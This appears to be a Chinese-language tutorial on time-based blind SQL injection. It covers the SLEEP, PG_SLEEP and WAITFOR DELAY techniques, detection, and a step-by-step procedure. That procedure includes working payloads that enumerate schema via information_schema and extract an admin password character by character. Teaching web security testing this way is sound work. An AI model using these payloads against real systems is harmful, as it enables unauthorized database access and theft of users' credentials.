请勿截屏传播

时间盲注

时间盲注是SQL注入攻击的一种高级形式,属于盲注(Blind SQL Injection)的子类。当目标系统对SQL注入的响应不直接返回错误信息或查询结果时,攻击者通过观察数据库执行特定操作所需的时间延迟来推断信息,从而实现攻击

1.什么是时间盲注

时间盲注是SQL注入攻击的一种高级形式,属于盲注(Blind SQL Injection)的子类。当目标系统对SQL注入的响应不直接返回错误信息或查询结果时,攻击者通过观察数据库执行特定操作所需的时间延迟来推断信息,从而实现攻击

1.核心原理

时间盲注利用SQL语句中的时间函数(如 SLEEP() 、 BENCHMARK() 等),通过构造使数据库执行延迟的查询,根据响应时间的差异来判断注入的SQL语句是否执行成功。由于没有直接的错误信息或结果返回,攻击者需要通过时间延迟的有无或长短来“盲猜”数据库中的信息。

2.工作流程

  • 注入测试 :向目标系统的输入点(如URL参数、表单字段)注入包含时间函数的SQL语句。
  • 观察响应 :根据服务器响应的时间是否出现延迟,判断注入的SQL语句是否被执行。
  • 信息提取 :通过构造不同的条件语句(如 IF() 函数),结合时间延迟,逐位(bit-by-bit)猜测数据库中的数据(如用户名、密码、表结构等)。

3.关键技术

  • 时间函数 :常用的时间延迟函数包括:
    • MySQL: SLEEP(秒数) 、 BENCHMARK(次数, 操作)
    • PostgreSQL: PG_SLEEP(秒数)
    • SQL Server: WAITFOR DELAY '时间'
  • 条件判断 :使用 IF() 、 CASE 等条件语句,结合时间函数,当条件成立时触发延迟。
  • 逐位猜测 :通过构造比较语句(如 SUBSTRING() 、 MID() 、 LEFT() 等),逐位判断数据的ASCII值,从而拼接出完整信息。

2.怎么判断是否为时间盲注

页面不回显对错,但能通过“延时”判断真假

1.验证延迟是否由SQL执行引起

  • 对比响应时间 :发送正常请求和注入payload的请求,对比两者的响应时间。若注入后响应时间显著增加(如延迟5秒左右),则可能存在时间盲注。
  • 排除干扰因素 :多次测试(至少3次),确保延迟不是由网络波动、服务器负载等偶然因素导致。
  • 控制延迟时间 :修改时间函数的参数(如 SLEEP(3) 或 SLEEP(7) ),观察响应时间是否随参数变化而改变。若延迟时间与参数一致,则可确认是SQL执行导致的延迟。

2.构造简单的测试payload

  • ?id=1' and if(1=1,sleep(5),0) %23 如果延时5秒页面回显 -->真
  • ?id=1' and if(1=2,sleep(5),0) %23 秒回 -->假 则为时间盲注

3.解决步骤

步骤1:验证时间盲注漏洞存在

首先通过构造包含时间函数的payload,确认目标存在时间盲注漏洞。

  • MySQL示例 : 向输入点注入 1' AND SLEEP(5) -- ,若响应延迟5秒左右,则确认存在时间盲注。
  • PostgreSQL示例 : 注入 1' AND PG_SLEEP(5) -- 。
  • SQL Server示例 : 注入 '; WAITFOR DELAY '0:0:5' -- 。

步骤2:确定数据库类型

不同数据库的时间函数和系统表结构不同,需先判断目标数据库类型。

  • 方法 :通过构造针对不同数据库的时间函数payload,观察延迟是否触发。 例如:
    • 尝试 1' AND SLEEP(3) -- (MySQL),若延迟则为MySQL。
    • 尝试 1' AND PG_SLEEP(3) -- (PostgreSQL),若延迟则为PostgreSQL。

步骤3:获取数据库基础信息

通过时间盲注逐位获取数据库名称、版本等信息。

  • MySQL示例 : 构造payload获取数据库名长度:
    text
    1' AND IF(LENGTH(database()) > 5, 
    SLEEP(3), 0) --
    ``` 逐位获取数据库名(假设长度为8):
    
    1' AND IF(SUBSTRING(database(),  1, 1) = 'a', SLEEP(3), 0) -- 1' AND IF(SUBSTRING(database(),  2, 1) = 'b', SLEEP(3), 0) --

步骤4:获取表名和列名

利用数据库的系统表(如MySQL的 information_schema.tables 和 information_schema.columns )获取目标表和列。

  • MySQL示例 : 获取表名(假设数据库名为 test_db ):
    text
    1' AND IF((SELECT COUNT(*) FROM 
    information_schema.tables WHERE 
    table_schema='test_db' AND 
    table_name LIKE 'user%') > 0, 
    SLEEP(3), 0) --
    ``` 逐位获取表名:
    
    1' AND IF(SUBSTRING((SELECT  table_name FROM  information_schema.tables WHERE  table_schema='test_db' LIMIT 0, 1), 1, 1) = 'u', SLEEP(3), 0) --
    获取列名(假设表名为
    1' AND IF((SELECT COUNT(*) FROM  information_schema.columns WHERE  table_schema='test_db' AND  table_name='users' AND  column_name LIKE 'pass%') > 0,  SLEEP(3), 0) --

步骤5:提取目标数据

针对目标列(如 username 、 password )逐位提取数据。

  • MySQL示例 : 假设目标是 users 表的 password 列(用户名为 admin ): 1' AND IF(SUBSTRING((SELECT  password FROM users WHERE  username='admin'), 1, 1) = 'a',  SLEEP(3), 0) -- 1' AND IF(SUBSTRING((SELECT  password FROM users WHERE  username='admin'), 2, 1) = 'b',  SLEEP(3), 0) --
布尔盲注
SQL注入基础知识

评论区

评论加载中...